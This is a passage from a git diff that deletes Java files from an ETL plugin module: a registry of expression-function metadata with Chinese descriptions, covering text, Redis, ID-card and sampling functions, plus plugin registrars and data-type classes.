funcs.add(buildFuncMeta("CONCAT_MULTI", "字符串拼接", "com.code.std.function.method.text.ConcatMultiFunc", FuncTypeEnum.NORMAL, "字符串拼接,可传入多个参数", - buildExamples("CONCAT_MULTI(aa,bb,cc,dd)", "aabbccdd", "将输入的字符串拼接成一个字符串"), - buildParamMeta(StringType.BASE), - buildParamMeta(StringType.BASE, "args...", "需要拼接起来的字符串串,可传入多值;(值1,值2,...值n)") - )); - funcs.add(buildFuncMeta("SPLITROW", "一行拆分成多行", "com.code.std.function.method.text.SplitIntoMultiRows", FuncTypeEnum.NORMAL, "一行拆分成多行(弃用)", - buildExamples("弃用", "", ""), - buildParamMeta(MapType.BASE), buildParamMeta(StringType.BASE, "outputFields", "输出的字段集合"), buildParamMeta(AnyType.BASE, "inputFields", "组前缀 + 字段名") - )); - funcs.add(buildFuncMeta("JSONPARSE", "JSON解析", "com.code.std.function.method.text.JsonParseFunc", FuncTypeEnum.NORMAL, "解析JSON字符串,获取json中的字段值", - buildExamples("JSONPARSE({id:'123', person={name:'jack',age:10}},id,person.name)", "MAP(id:123, person.name:jack)", "调试需将json字符串中的单引号改为双引号"), - buildParamMeta(MapType.BASE), buildParamMeta(StringType.BASE, "jsonStr", "json字符串"), buildParamMeta(AnyType.createAnyType(StringType.BASE), "fields...", - "字段名,可传入多值,例如:JSONPARSE([jsonStr],[field1],[field2],...,[field100])") - )); - funcs.add(buildFuncMeta("SPLIT", "文本分割", "com.code.std.function.method.text.SplitFunc", FuncTypeEnum.NORMAL, "文本分割", - buildExamples("SPLIT('a,b,c,d',',',R,1)", "List(Map(R:b),Map(R:c),Map(R:d))", "如果模式为C,则切成一列,返回值则为List(Map(C1:a,C2:b,C3:c))"), - buildParamMeta(ListType.BASE), buildParamMeta(StringType.BASE, "str", "文本"), buildParamMeta(StringType.BASE, "regx", "分割符"), - buildParamMeta(StringType.BASE, "model", "模式 C:表示切成列 R:表示切成多行"), - buildParamMeta(IntegerType.BASE, "startPos", "起始位置,非必填,不填默认从0开始") - )); - funcs.add(buildFuncMeta("DECODE", "DECODE解析", "com.code.std.function.method.text.DecodeFunc", FuncTypeEnum.NORMAL, "DECODE解析", - buildExamples("DECODE(1,1,A,2,B,C)", "A", "将查询出来的结果中的1翻译成A"), - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE, "field", "需要翻译的值"), buildParamMeta(StringType.BASE, "key", "用于匹配需要翻译的值"), - buildParamMeta(StringType.BASE, "value", "翻译后的值,与key配对使用,可以填入多个key-value,例如:(field,key1,value1,key2,value2,...keyn,valuen,缺省值)"), - buildParamMeta(StringType.BASE, "default", "缺省值,匹配不到返回该值") - )); - funcs.add(buildFuncMeta("NUMBER_TO_CHAR", "数字转字符函数", "com.code.std.function.method.text.NumberToCharFunc", FuncTypeEnum.NORMAL, "数字转字符函数", - buildExamples("NUMBER_TO_CHAR(182324.33,1,666)", "182324.3", "将数字182324.33转化为数字精度为1位的字符串,参数为空的情况下输出的默认值位666"), - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE, "numberValue", "值"), buildParamMeta(IntegerType.BASE, "precision", "数字精度"), - buildParamMeta(StringType.BASE, "defVal", "参数为空的情况下输出的默认值") - )); - typeMap.put("text", funcs); - - funcs = new ArrayList(); - funcs.add(buildFuncMeta("DATA_COMPARISON", "数据比对", "", FuncTypeEnum.NORMAL, "数据比对(弃用),建议使用redis操作插件,性能更佳", - buildExamples("DATA_COMPARISON(SFZH,192.168.21.15,CZRK,8)", "TRUE", "与redis中key对应的值,返回true"), - buildParamMeta(BooleanType.BASE), - buildParamMeta(StringType.BASE, "identity", "redis key,值需要唯一!"), - buildParamMeta(StringType.BASE, "redisIp", "redis数据库IP地址"), - buildParamMeta(StringType.BASE, "redisKeyPre", "redis key前缀标识"), - buildParamMeta(StringType.BASE, "redisPartition", "redis数据存储区域") - )); - funcs.add(buildFuncMeta("REDIS_DELETE", "redis数据删除", "", FuncTypeEnum.NORMAL, "redis数据删除", - buildExamples("REDIS_DELETE(SFZH,192.168.21.15,8001,CZRK,8)", "True", "删除成功"), - buildParamMeta(BooleanType.BASE), - buildParamMeta(StringType.BASE, "identity", "redis key,值需要唯一!"), - buildParamMeta(StringType.BASE, "redisIp", "redis数据库IP地址"), - buildParamMeta(StringType.BASE, "redisIpPort", "redis数据库IP的端口"), - buildParamMeta(StringType.BASE, "redisKeyPre", "redis key前缀标识"), - buildParamMeta(StringType.BASE, "redisPartition", "redis数据存储区域") - )); - funcs.add(buildFuncMeta("REDIS_VALUES", "redis取值", "", FuncTypeEnum.NORMAL, "redis取值(弃用,建议使用redis操作插件,性能更佳),eg REDIS_VALUE([columnName],'ip','port','redisKeyPre','redisPartition','redisValuesCode')", - buildExamples("REDIS_DELETE(LXDH,192.168.21.15,8001,CZRK,8,SJ)", "1234", "redis中的值为1234"), - buildParamMeta(MapType.BASE), - buildParamMeta(StringType.BASE, "reidsKey", "redis key,值需要唯一!"), - buildParamMeta(StringType.BASE, "redisIp", "redis数据库IP地址"), - buildParamMeta(StringType.BASE, "redisIpPort", "redis数据库IP的端口"), - buildParamMeta(StringType.BASE, "redisKeyPre", "redis key前缀标识"), - buildParamMeta(StringType.BASE, "redisPartition", "redis数据存储区域"), - buildParamMeta(StringType.BASE, "redisValuesCode", "redis数据valuesCode 多个值就以&隔开") - )); - funcs.add(buildFuncMeta("CACHING_APPLY", "获取缓存中的值并做相应的计算", "", FuncTypeEnum.NORMAL, "获取缓存中的值并做相应的计算(无法调试执行,需在实际环境中使用)", - buildExamples("CACHING_APPLY('CACHING_NAME',PEOPLE,'NL','[B] + [A] + 1',[B]", "23", "获取缓存名为CACHING_NAME的map对应主键为PEOPLE、属性名为NL的值,与传入的扩展表达式参数[B]执行表达式[B]+[A]+1得到结果返回"), - buildParamMeta(DoubleType.BASE), - buildParamMeta(StringType.BASE, "CACHE_NAME", "缓存名称,缓存必须存map"), - buildParamMeta(StringType.BASE, "KEY", "key,值需要唯一!"), - buildParamMeta(StringType.BASE, "FIELD", "属性名"), - buildParamMeta(StringType.BASE, "EXP", "表达式"), - buildParamMeta(AnyType.BASE, "EXP_PARAMS...", "扩展表达式参数") - )); - typeMap.put("thirdParty", funcs); - - funcs = Lists.newArrayList(); - funcs.add(buildFuncMeta("BIZ_IDCARD_GENDER", "身份证查询性别函数", "com.code.std.function.method.biz.IdCardGenderFunc", FuncTypeEnum.NORMAL, "身份证查询性别函数 返回结果 1:性别男 2:性别女 0:输入参数不合法", - buildExamples("BIZ_IDCARD_GENDER(642101197002122752)", "1", "求身份证号为“642101197002122752”的性别"), - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE, "idCard", "身份证号 ") - )); - funcs.add(buildFuncMeta("BIZ_IDCARD_BIRTH", "身份证查询出生日期", "com.code.std.function.method.biz.IdCardBirthDay", FuncTypeEnum.NORMAL, "身份证查询出生日期", - buildExamples("BIZ_IDCARD_BIRTH(642101197002122752)", "19700212", "求身份证号为“642101197002122752”的出生日期"), - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE, "idCard", "返回8为身份证号") - )); - funcs.add(buildFuncMeta("MERGE_VALUE", "REDUCE插件合并数据的回调函数", "com.code.std.function.method.reduce.MergeValFunc", FuncTypeEnum.NORMAL, "REDUCE插件合并数据的回调函数", - buildExamples("A:A.NAME(值为:List(NAME:33) B.NAME(值为:List(XB:1)))", "MERGE_VALUE([A],[B])", "将输入数据A与结果集合B合并数据并返回"), - buildParamMeta(MapType.BASE), buildParamMeta(ListType.BASE, "resultData", "结果集合"), - buildParamMeta(ListType.BASE, "inputData", "输入数据") - )); - typeMap.put("biz", funcs); - - funcs = new ArrayList(); - funcs.add(buildFuncMeta("BERNOULLI_SAMPLER", "伯努利数据抽样", "", FuncTypeEnum.NORMAL, "伯努利数据抽样, eg: BERNOULLI_SAMPLER(0.5) 返回值 0代表不需要该数据 1表示需要改数据", - buildExamples("BERNOULLI_SAMPLER(0.5)", "0", "表示抽50%的数据"), - buildParamMeta(BooleanType.BASE), - buildParamMeta(StringType.BASE, "rate", "比率值,rate为0.5表示抽50%的数据") - )); - funcs.add(buildFuncMeta("RESERVOIR_SAMPLER", "水塘抽样", "", FuncTypeEnum.NORMAL, "水塘抽样 返回值index 如果是-1表示不需要设置,否则即为数组的第{index}个需要被流过来的数据覆盖", - buildExamples("RESERVOIR_SAMPLER(1000)", "23", "对于1000个需要抽取的数据流进行随机采样"), - buildParamMeta(IntegerType.BASE), - buildParamMeta(StringType.BASE, "k", "需要抽取的个数") - )); - typeMap.put("sample", funcs); - - funcs = new ArrayList(); - funcs.add(buildFuncMeta("TRY_CATCH", "异常处理函数", "com.code.std.function.method.exception.TryCatchFunc", FuncTypeEnum.NORMAL, "异常处理函数,如果发生异常返回{defaultVal},defaultVal默认为false。 {defaultVal}可以根据需要进行设置,eg:try_catch(SUBSTRING([A],0, 3), 'SUBSTRING函数发生错误')", - buildExamples("TRY_CATCH(match(CHAR_TO_NUMBER(null<=130,'130'),'false')", "false", "异常处理函数,由于传入空值导致发生异常返回false"), - buildParamMeta(ObjType.BASE), buildParamMeta(ObjType.BASE, "logicHandler", "逻辑处理"), - buildParamMeta(ObjType.BASE, "defaultVal", "默认值") - )); - funcs.add(buildFuncMeta( - "BAG", "包函数", "org.code.modules.plugins.function.method.BagFunc", FuncTypeEnum.NORMAL, - "包函数对参数不进行任何的计算直接返回参数 (系统级函数,NULL-OBJECT模式)", - buildExamples("BAG(23)", "23", "返回传入的参数对象23"), - buildParamMeta(ObjType.BASE), - buildParamMeta(ObjType.BASE) - )); - typeMap.put("system", funcs); - return typeMap; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/PluginBeanRegister.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/PluginBeanRegister.java deleted file mode 100644 index add8e4f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/PluginBeanRegister.java +++ /dev/null @@ -1,56 +0,0 @@ -package org.code.modules.plugins.service.impl; - - -import org.code.modules.plugins.annotation.PluginBean; -import org.code.modules.plugins.annotation.PluginType; -import org.code.modules.plugins.loader.PluginClassLoader; -import org.code.modules.plugins.model.PluginBeanMeta; -import org.code.modules.plugins.service.IPluginMetaRegisterService; -import org.code.modules.plugins.service.IPluginRegistMethod; -import com.luqj.util.Validator; -import com.luqj.util.reflect.ClassUtils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; - -@Service -public class PluginBeanRegister implements IPluginRegistMethod { - private static Logger logger = LoggerFactory.getLogger(PluginBeanRegister.class); - @Autowired - private IPluginMetaRegisterService pluginMetaRegisterService; - - @Override - public PluginBeanMeta regist(PluginClassLoader loader, Class clazz) { - PluginBean pb = (PluginBean) clazz.getAnnotation(PluginBean.class); - String beanName = Validator.hasText(pb.name()) ? pb.name() : ClassUtils.getDefBeanName(clazz); - if(pb.beanType() == PluginType.ETL_TRANS_META) { - try { - pluginMetaRegisterService.resetPluginMeta(clazz); - } catch (Exception e) { - - logger.error("插件模型[" + clazz.getName() + "]注册失败", e); - } - } - return new PluginBeanMeta(beanName, clazz.getName(), loader); - } - - @Override - public boolean filter(Class clazz) { - PluginBean b = clazz.getAnnotation(PluginBean.class); - return b != null; - } - - @Override - public Class[] typeFilters() { - return new Class[]{PluginBean.class}; - } - - public IPluginMetaRegisterService getPluginMetaRegisterService() { - return pluginMetaRegisterService; - } - - public void setPluginMetaRegisterService(IPluginMetaRegisterService pluginMetaRegisterService) { - this.pluginMetaRegisterService = pluginMetaRegisterService; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/PluginMetaRegisterServiceImpl.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/PluginMetaRegisterServiceImpl.java deleted file mode 100644 index 5e3c18d..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/PluginMetaRegisterServiceImpl.java +++ /dev/null @@ -1,23 +0,0 @@ -package org.code.modules.plugins.service.impl; - -import org.code.modules.plugins.service.IPluginMetaRegisterService; -import org.springframework.stereotype.Service; - -/** - * 插件元数据注册 - * Created by chenzm on 2016/12/28. - */ -@Service -public class PluginMetaRegisterServiceImpl implements IPluginMetaRegisterService { - - @Override - public void resetPluginMeta(Class pluginBeanMeta) { - - } - - @Override - public String _savePluginMeta(Class pluginBeanMeta) { - return null; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/TypeMappingBeanRegister.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/TypeMappingBeanRegister.java deleted file mode 100644 index 1ddf18b..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/TypeMappingBeanRegister.java +++ /dev/null @@ -1,37 +0,0 @@ -package org.code.modules.plugins.service.impl; - - -import org.code.modules.plugins.annotation.DBTypeMapping; -import org.code.modules.plugins.loader.PluginClassLoader; -import org.code.modules.plugins.model.PluginBeanMeta; -import org.code.modules.plugins.service.IPluginRegistMethod; -import com.luqj.util.Validator; -import com.luqj.util.reflect.ClassUtils; -import org.springframework.stereotype.Service; - -@Service("typeMappingBeanRegister") -public class TypeMappingBeanRegister implements IPluginRegistMethod { - - @Override - public Class[] typeFilters() { - return new Class[]{DBTypeMapping.class}; - } - - @Override - public boolean filter(Class clazz) { - DBTypeMapping b = clazz.getAnnotation(DBTypeMapping.class); - return b != null; - } - - @Override - public PluginBeanMeta regist(PluginClassLoader loader, Class clazz) { - DBTypeMapping pb = (DBTypeMapping) clazz.getAnnotation(DBTypeMapping.class); - if(Validator.hasText(pb.name())){ - return new PluginBeanMeta(pb.name(), clazz.getCanonicalName(), loader); - }else{ - String name = ClassUtils.getDefBeanName(clazz); - return new PluginBeanMeta(name,clazz.getCanonicalName(), loader); - } - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/ExtendMeta.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/ExtendMeta.java deleted file mode 100644 index 781ed46..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/ExtendMeta.java +++ /dev/null @@ -1,82 +0,0 @@ -package org.code.modules.plugins.service.impl.function; -import org.code.modules.plugins.annotation.function.Feature; - -import java.io.Serializable; - -public class ExtendMeta implements Serializable { - @Feature( - handler = Feature.HandlerType.IGNORE - ) - protected String id; - @Feature( - handler = Feature.HandlerType.IGNORE - ) - protected String name; - @Feature( - handler = Feature.HandlerType.IGNORE - ) - protected Integer version; - @Feature( - handler = Feature.HandlerType.IGNORE - ) - protected String type; - @Feature( - handler = Feature.HandlerType.IGNORE - ) - protected String memo; - @Feature( - handler = Feature.HandlerType.IGNORE - ) - protected String code; - - public ExtendMeta() { - } - - public String getId() { - return this.id; - } - - public String getName() { - return this.name; - } - - public Integer getVersion() { - return this.version; - } - - public String getType() { - return this.type; - } - - public String getMemo() { - return this.memo; - } - - public String getCode() { - return this.code; - } - - public void setId(String id) { - this.id = id; - } - - public void setName(String name) { - this.name = name; - } - - public void setVersion(Integer version) { - this.version = version; - } - - public void setType(String type) { - this.type = type; - } - - public void setMemo(String memo) { - this.memo = memo; - } - - public void setCode(String code) { - this.code = code; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncClassify.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncClassify.java deleted file mode 100644 index efd393f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncClassify.java +++ /dev/null @@ -1,5 +0,0 @@ -package org.code.modules.plugins.service.impl.function; - -public class FuncClassify extends ExtendMeta{ - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncExample.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncExample.java deleted file mode 100644 index 74f7b08..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncExample.java +++ /dev/null @@ -1,36 +0,0 @@ -package org.code.modules.plugins.service.impl.function; - -/** - * Created by chenzm on 2017/12/4. - */ -public class FuncExample extends ExtendMeta { - private String input; - - private String result; - - public FuncExample() { - } - - public FuncExample(String name, String input, String memo, String result) { - this.name = name; - this.memo = memo; - this.input = input; - this.result = result; - } - - public String getInput() { - return input; - } - - public void setInput(String input) { - this.input = input; - } - - public String getResult() { - return result; - } - - public void setResult(String result) { - this.result = result; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncMeta.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncMeta.java deleted file mode 100644 index 54818f6..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncMeta.java +++ /dev/null @@ -1,174 +0,0 @@ -package org.code.modules.plugins.service.impl.function; - -import org.code.modules.plugins.function.annotation.FuncTypeEnum; - -import java.io.Serializable; -import java.util.*; - -public class FuncMeta extends ExtendMeta { - /** - * 类的全路径 eg:com.code.abc - */ - private String clazz; - - /** - * 函数类型 - */ - private String funcType; - - /** - * 函数分类 - */ - private FuncClassify funcClassify; - - /** - * 函数方法样例 - */ - public String funcMethodExample; - - - public String getFuncMethodExample() { - return funcMethodExample; - } - - public void setFuncMethodExample(String funcMethodExample) { - this.funcMethodExample = funcMethodExample; - } - - /** - * 函数例子 - */ - private List examples = new ArrayList<>(); - - private Map methods = new LinkedHashMap<>(); - - public static class Method implements Serializable { - /** - * 输出参数 - */ - FuncParamMeta outputParam; - - /** - * 输入参数 - */ - List inputParams = new ArrayList<>(); - - public FuncParamMeta getInputParam(int index) { - return this.getInputParams().get(index); - } - - public FuncParamMeta getOutputParam() { - return outputParam; - } - - public void setOutputParam(FuncParamMeta outputParam) { - this.outputParam = outputParam; - } - - public List getInputParams() { - return inputParams; - } - - public void setInputParams(List inputParams) { - for(int i = 0 ; i < inputParams.size(); i++) { - inputParams.get(i).setArgPos(i); - } - this.inputParams = inputParams; - } - } - - public void setOutputParam(String methodCode, FuncParamMeta outputParam) { - if(!this.methods.containsKey(methodCode)) { - this.methods.put(methodCode, new Method()); - } - this.methods.get(methodCode).setOutputParam(outputParam); - } - - public void setInputParam(String methodCode, List inputParams) { - if(!this.methods.containsKey(methodCode)) { - this.methods.put(methodCode, new Method()); - } - this.methods.get(methodCode).setInputParams(inputParams); - } - - public FuncParamMeta getOutputParam() { - if(this.methods.size() == 0) { - return null; - } - for(String key : this.methods.keySet()) { - if(isDefMethod(key)) { - continue; - } - return this.methods.get(key).getOutputParam(); - } - throw new IllegalArgumentException(String.format("%s找不到输出参数", this.code)); - } - - private boolean isDefMethod(String key) { - return FuncTypeEnum.valueOf(this.funcType) == FuncTypeEnum.AGGREGATION && (key.equals("reset") || key.equals("merge")); - } - - public List getInputParams() { - if(this.methods.size() == 0) { - return Collections.emptyList(); - } - for(String key : this.methods.keySet()) { - if(isDefMethod(key)) { - continue; - } - return this.methods.get(key).getInputParams(); - } - throw new IllegalArgumentException(String.format("%s找不到执行的方法", this.code)); - } - - public List getInputParams(String methodCode) { - if(!this.methods.containsKey(methodCode)) { - throw new IllegalArgumentException(String.format("不存在方法%s", methodCode)); - } - return this.methods.get(methodCode).getInputParams(); - } - - public FuncParamMeta getOutputParam(String methodCode) { - if(!this.methods.containsKey(methodCode)) { - throw new IllegalArgumentException(String.format("不存在方法%s", methodCode)); - } - return this.methods.get(methodCode).getOutputParam(); - } - - public String getClazz() { - return clazz; - } - - public void setClazz(String clazz) { - this.clazz = clazz; - } - - - public FuncClassify getFuncClassify() { - return funcClassify; - } - - public void setFuncClassify(FuncClassify funcClassify) { - this.funcClassify = funcClassify; - } - - public String getFuncType() { - return funcType; - } - - public void setFuncType(String funcType) { - this.funcType = funcType; - } - - public List getExamples() { - return examples; - } - - public void setExamples(List examples) { - this.examples = examples; - } - - public void addExample(FuncExample funcExample) { - this.examples.add(funcExample); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncParamMeta.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncParamMeta.java deleted file mode 100644 index b000d87..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/function/FuncParamMeta.java +++ /dev/null @@ -1,63 +0,0 @@ -package org.code.modules.plugins.service.impl.function; - -public class FuncParamMeta extends ExtendMeta{ - private String valType; - - private Integer precision; - - private Integer length; - - private Integer argPos; - - private String defVal; - - private boolean isAny = false; - - public Integer getPrecision() { - return precision; - } - - public void setPrecision(Integer precision) { - this.precision = precision; - } - - public Integer getLength() { - return length; - } - - public void setLength(Integer length) { - this.length = length; - } - - public String getValType() { - return valType; - } - - public void setValType(String valType) { - this.valType = valType; - } - - public Integer getArgPos() { - return argPos; - } - - public void setArgPos(Integer argPos) { - this.argPos = argPos; - } - - public boolean isAny() { - return isAny; - } - - public void setAny(boolean any) { - isAny = any; - } - - public String getDefVal() { - return defVal; - } - - public void setDefVal(String defVal) { - this.defVal = defVal; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/AbstractType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/AbstractType.java deleted file mode 100644 index edb72ea..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/AbstractType.java +++ /dev/null @@ -1,54 +0,0 @@ -package org.code.modules.plugins.types; - - - -public abstract class AbstractType implements Type{ - - protected String name; - - protected String code; - - /**长度*/ - protected int length; - - /**精度*/ - protected int precsn; - - - public AbstractType(String name, String code) { - super(); - this.name = name; - this.code = code; - } - - public AbstractType(String name, String code,int length, int precsn) { - this(name,code); - this.length = length; - this.precsn = precsn; - } - - @Override - public String getName() { - return name; - } - - @Override - public String getCode() { - return code; - } - - @Override - public int getLength() { - return length; - } - - @Override - public int getPrecsn() { - return precsn; - } - - - - -} - diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/AnyType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/AnyType.java deleted file mode 100644 index 8b913e3..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/AnyType.java +++ /dev/null @@ -1,44 +0,0 @@ -package org.code.modules.plugins.types; -/** - * 任意类型 只是用来标记 - * Type ...types - * @author chenzm - */ -public class AnyType implements Type { - - public static AnyType BASE = new AnyType(); - - private Type type; - - public AnyType() { - this.type = new ObjType(); - } - - public AnyType(Type type) { - this.type = type; - } - - public static AnyType createAnyType(Type type) { - return new AnyType(type); - } - - @Override - public int getPrecsn() { - return 0; - } - - @Override - public int getLength() { - return 0; - } - - @Override - public String getCode() { - return "Any." + type.getCode(); - } - - @Override - public String getName() { - return "Any." + type.getCode(); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/BigDecimalType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/BigDecimalType.java deleted file mode 100644 index 2651344..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/BigDecimalType.java +++ /dev/null @@ -1,46 +0,0 @@ -package org.code.modules.plugins.types; - - -import com.luqj.util.NumFormat; - -import java.math.BigDecimal; -import java.sql.Types; - -public class BigDecimalType extends AbstractType implements StandardType{ - - public static final StandardType BASE = new BigDecimalType(); - - private BigDecimalType() { - super("std.BigDecimal", "BigDecimal"); - } - - public BigDecimalType(int length,int precsn) { - super("std.BigDecimal", "BigDecimal", length, precsn); - } - - @Override - public Class getReturnedClass() { - return BigDecimal.class; - } - - @Override - public int typeCode() { - return Types.NUMERIC; - } - - @Override - public Object fromStringValue(String xml) { - return new BigDecimal(xml); - } - - @Override - public String format(Object obj) { - return NumFormat.toString((BigDecimal)obj); - } - - @Override - public boolean isNull(Object obj) { - return obj == null || ((BigDecimal)obj).longValue() == 0; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/BigIntegerType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/BigIntegerType.java deleted file mode 100644 index a8049b5..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/BigIntegerType.java +++ /dev/null @@ -1,45 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.NumFormat; - -import java.math.BigInteger; -import java.sql.Types; - -public class BigIntegerType extends AbstractType implements StandardType{ - - public static final StandardType BASE = new BigIntegerType(); - - private BigIntegerType() { - super("std.BigInteger", "BigInteger"); - } - - public BigIntegerType(int length) { - super("std.BigInteger", "BigInteger",length, 0); - } - - @Override - public Class getReturnedClass() { - return BigInteger.class; - } - - @Override - public int typeCode() { - return Types.NUMERIC; - } - - @Override - public Object fromStringValue(String xml) { - return new BigInteger(xml); - } - - @Override - public String format(Object obj) { - return NumFormat.toString((BigInteger)obj); - } - - @Override - public boolean isNull(Object obj) { - return obj == null || ((BigInteger)obj).longValue() == 0; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/BlobType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/BlobType.java deleted file mode 100644 index dc944e7..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/BlobType.java +++ /dev/null @@ -1,42 +0,0 @@ -package org.code.modules.plugins.types; - - - -import com.luqj.util.NumFormat; - -import java.sql.Blob; - -public class BlobType extends AbstractType implements StandardType{ - - public static final StandardType BASE = new BlobType(Integer.MAX_VALUE); - - public BlobType(int length) { - super("std.Blob", "Blob",length, 0); - } - - @Override - public Class getReturnedClass() { - return Blob.class; - } - - @Override - public int typeCode() { - return TypesCode.BLOB; - } - - @Override - public String format(Object obj) { - return new String((byte[])obj); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return NumFormat.$Byte(xml); - } - - @Override - public boolean isNull(Object obj) { - return obj == null ; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/BooleanType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/BooleanType.java deleted file mode 100644 index 10a54e61..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/BooleanType.java +++ /dev/null @@ -1,50 +0,0 @@ -package org.code.modules.plugins.types; - -import java.io.Serializable; - -public class BooleanType extends PrimitiveType implements StandardType{ - - - public static final StandardType BASE = new BooleanType(); - - public BooleanType() { - super("std.Boolean", "Boolean", 1, 0); - } - - @Override - public Class getReturnedClass() { - return Boolean.class; - } - - @Override - public int typeCode() { - return 0; - } - - @Override - public Class getPrimitiveClass() { - return boolean.class; - } - - @Override - public Serializable getDefaultValue() { - return null; - } - - @Override - public String format(Object obj) { - return Boolean.toString((Boolean) obj); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return Boolean.parseBoolean(xml); - } - - @Override - public boolean isNull(Object obj) { - return obj == null ; - } - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/ByteType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/ByteType.java deleted file mode 100644 index 826869f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/ByteType.java +++ /dev/null @@ -1,56 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.NumFormat; - -import java.io.Serializable; -import java.sql.Types; - - -public class ByteType extends PrimitiveType implements StandardType{ - - private static final Byte ZERO = new Byte( (byte) 0 ); - - public static final StandardType BASE = new ByteType(); - - public ByteType() { - super("std.Byte", "Byte",1,0); - } - - @Override - public Class getReturnedClass() { - return Byte.class; - } - - @Override - public int typeCode() { - return Types.TINYINT; - } - - @Override - public Class getPrimitiveClass() { - return byte.class; - } - - @Override - public Serializable getDefaultValue() { - return ZERO; - } - - @Override - public String format(Object obj) { - return NumFormat.toString((Byte)obj); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return NumFormat.$Byte(xml); - } - - @Override - public boolean isNull(Object obj) { - return obj == null || ((Byte)obj) == 0; - } - - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/DateType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/DateType.java deleted file mode 100644 index 32af059..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/DateType.java +++ /dev/null @@ -1,43 +0,0 @@ -package org.code.modules.plugins.types; - - -import com.luqj.util.date.DateUtils; - -import java.util.Date; - - -public class DateType extends AbstractType implements StandardType{ - - - public static final StandardType BASE = new DateType(); - - public DateType() { - super("std.Date", "Date",0, 0); - } - - @Override - public Class getReturnedClass() { - return Date.class; - } - - @Override - public int typeCode() { - return TypesCode.DATE; - } - - @Override - public String format(Object obj) { - return DateUtils.getDateFormat((Date) obj); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return DateUtils.getDate(xml, ""); - } - - @Override - public boolean isNull(Object obj) { - return obj == null; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/DoubleType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/DoubleType.java deleted file mode 100644 index c2305fa..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/DoubleType.java +++ /dev/null @@ -1,54 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.NumFormat; - -import java.io.Serializable; - -public class DoubleType extends PrimitiveType implements StandardType{ - - public static final StandardType BASE = new DoubleType(); - - private DoubleType() { - super("std.Double", "Double"); - } - - public DoubleType(int length, int precsn) { - super("std.Double", "Double",length, precsn); - } - - @Override - public Class getReturnedClass() { - return Double.class; - } - - @Override - public int typeCode() { - return TypesCode.DOUBLE; - } - - @Override - public Class getPrimitiveClass() { - return double.class; - } - - @Override - public Serializable getDefaultValue() { - return new Double(0.0); - } - - @Override - public String format(Object obj) { - return NumFormat.toString((Double)obj); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return NumFormat.$Double(xml); - } - - @Override - public boolean isNull(Object obj) { - return obj == null; - } - -} 